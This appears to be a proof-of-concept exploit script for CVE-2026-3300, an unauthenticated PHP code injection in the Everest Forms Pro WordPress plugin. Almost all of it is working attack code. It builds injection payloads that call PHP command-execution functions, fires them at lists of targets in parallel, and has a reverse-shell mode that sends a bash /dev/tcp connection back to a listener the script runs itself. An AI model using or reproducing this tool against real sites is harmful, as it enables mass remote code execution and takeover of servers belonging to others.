Everest Forms Pro Unauthenticated PHP Code Injection via Calculation Addon (CVE-2026-3300)

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#!/usr/bin/env python3
"""
CVE-2026-3300 PoC / Scanner + Enhanced Exploitation
Everest Forms Pro <= 1.9.12 - Unauthenticated PHP Code Injection (Calculation Addon)
"""

import argparse
import requests
import sys
import socket
import threading
import time
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()

BANNER = """
CVE-2026-3300 PoC
Everest Forms Pro RCE (PHP Code Injection via Calculation Addon)
"""

def start_listener(port=4444):
    print(f"[*] Starting listener on port {port}...")
    def listener():
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.bind(("0.0.0.0", port))
            s.listen(1)
            print(f"[+] Listening on 0.0.0.0:{port}")
            conn, addr = s.accept()
            print(f"[+] Reverse shell connected from {addr}")
            while True:
                try:
                    cmd = input("shell> ")
                    if cmd.lower() in ["exit", "quit"]:
                        conn.close()
                        break
                    conn.sendall((cmd + "\n").encode())
                    data = conn.recv(4096).decode(errors='ignore')
                    print(data, end='')
                except:
                    break
    threading.Thread(target=listener, daemon=True).start()
    time.sleep(1.5)

def get_payload(command, payload_type="system"):
    # More reliable payload - breaks out of string context
    cmd_escaped = command.replace('"', '\\"').replace("'", "\\'")
    if payload_type == "system":
        return f"1'; system(\"{cmd_escaped}\"); echo 'PWNED'; //"
    elif payload_type == "exec":
        return f"1'; exec(\"{cmd_escaped}\"); echo 'PWNED'; //"
    elif payload_type == "passthru":
        return f"1'; passthru(\"{cmd_escaped}\"); echo 'PWNED'; //"
    elif payload_type == "shell_exec":
        return f"1'; echo shell_exec(\"{cmd_escaped}\"); echo 'PWNED'; //"
    return f"1'; system(\"{cmd_escaped}\"); echo 'PWNED'; //"

def exploit(target, command="id", payload_type="system", form_id="1", field_name="text_field"):
    print(f"\n[*] Exploiting {target} | Field: {field_name} | Cmd: {command}")
    
    payload = get_payload(command, payload_type)
    
    data = {
        "everest_forms[form_id]": form_id,
        f"everest_forms[fields][{field_name}]": payload,
        "everest_forms[submit]": "1",
    }
    
    urls = [
        urljoin(target, "/wp-admin/admin-ajax.php"),
        urljoin(target, "/")
    ]
    
    for url in urls:
        try:
            post_data = data.copy()
            if "admin-ajax" in url:
                post_data["action"] = "everest_forms_process_submission"
            
            r = requests.post(url, data=post_data, timeout=15, verify=False, allow_redirects=True)
            
            if r.status_code == 200:
                print(f"[+] Response from {url} ({len(r.text)} bytes)")
                if "PWNED" in r.text or any(ind in r.text.lower() for ind in ["uid=", "root:", "www-data", "command not found"]):
                    print(f"[+] SUCCESS on {target}!")
                    print("-" * 80)
                    print(r.text.strip()[:1200])
                    print("-" * 80)
                    return True
        except Exception as e:
            print(f"[-] Error with {url}: {e}")
    
    print(f"[-] No clear success on {target}")
    return False

def reverse_shell(target, lport=4444, form_id="1", field_name="text_field"):
    print(f"\n[*] Sending reverse shell to {target}")
    host = socket.gethostbyname(socket.gethostname())
    rev_payload = f"bash -c 'bash -i >& /dev/tcp/{host}/{lport} 0>&1'"
    
    start_listener(lport)
    time.sleep(2)
    return exploit(target, rev_payload, "system", form_id, field_name)

def scan(target):
    print(f"\n[*] Scanning {target} for Everest Forms...")
    endpoints = ["/wp-json/everest-forms/v1/forms", "/wp-admin/admin-ajax.php"]
    vulnerable = False
    for ep in endpoints:
        try:
            url = urljoin(target, ep)
            r = requests.get(url, timeout=10, verify=False)
            if r.status_code == 200 and ("everest" in r.text.lower() or "evf" in r.text.lower()):
                print(f"[+] Everest Forms detected: {url}")
                vulnerable = True
        except:
            continue
    print("[!] Likely VULNERABLE (if Complex Calculation is enabled)" if vulnerable else "[-] No clear indicators")

def load_targets(file_path):
    try:
        with open(file_path, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
        return targets
    except Exception as e:
        print(f"[-] Error reading {file_path}: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-3300 PoC Tool - Everest Forms Pro RCE",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )
    
    parser.add_argument("target", nargs="?", help="Single target URL")
    parser.add_argument("-f", "--file", help="Targets file (one URL per line)")
    parser.add_argument("-m", "--mode", choices=["scan", "poc", "exploit", "reverse"], 
                        default="scan", help="Operation mode")
    parser.add_argument("-c", "--command", default="id", help="Command to execute")
    parser.add_argument("-p", "--payload", choices=["system", "exec", "passthru", "shell_exec"],
                        default="system", help="PHP execution function")
    parser.add_argument("-l", "--listen", type=int, metavar="PORT", help="Listener port (reverse mode)")
    parser.add_argument("--form-id", default="1", help="Form ID to target")
    parser.add_argument("--field", default="text_field", 
                        help="Form field name (any string field: text, email, url, etc.)")
    parser.add_argument("-t", "--threads", type=int, default=5, help="Threads for batch mode")

    args = parser.parse_args()

    print(BANNER)

    if not args.target and not args.file:
        parser.print_help()
        print("\nExamples:")
        print("  python cve-2026-3300.py http://localhost --mode scan")
        print("  python cve-2026-3300.py http://localhost --mode exploit --field email_field -c 'whoami'")
        print("  python cve-2026-3300.py --file targets.txt --mode scan")
        print("  python cve-2026-3300.py --file targets.txt --mode exploit --field text_1 -c 'id'")
        sys.exit(1)

    if args.file:
        targets = load_targets(args.file)
        print(f"[+] Loaded {len(targets)} targets")
    else:
        targets = [args.target]

    targets = [t if t.startswith(("http://", "https://")) else "http://" + t for t in targets]

    if args.mode == "scan":
        for target in targets:
            scan(target)
    elif args.mode == "reverse":
        if len(targets) > 1:
            print("[!] Reverse shell works best on single target (using first one)")
        reverse_shell(targets[0], args.listen or 4444, args.form_id, args.field)
    else:
        print(f"[+] Running {args.mode} with {args.threads} threads...")
        with ThreadPoolExecutor(max_workers=args.threads) as executor:
            future_to_target = {
                executor.submit(exploit, target, args.command, args.payload, args.form_id, args.field): target
                for target in targets
            }
            for future in as_completed(future_to_target):
                try:
                    future.result()
                except Exception as e:
                    print(f"[-] Error: {e}")

if __name__ == "__main__":
    main()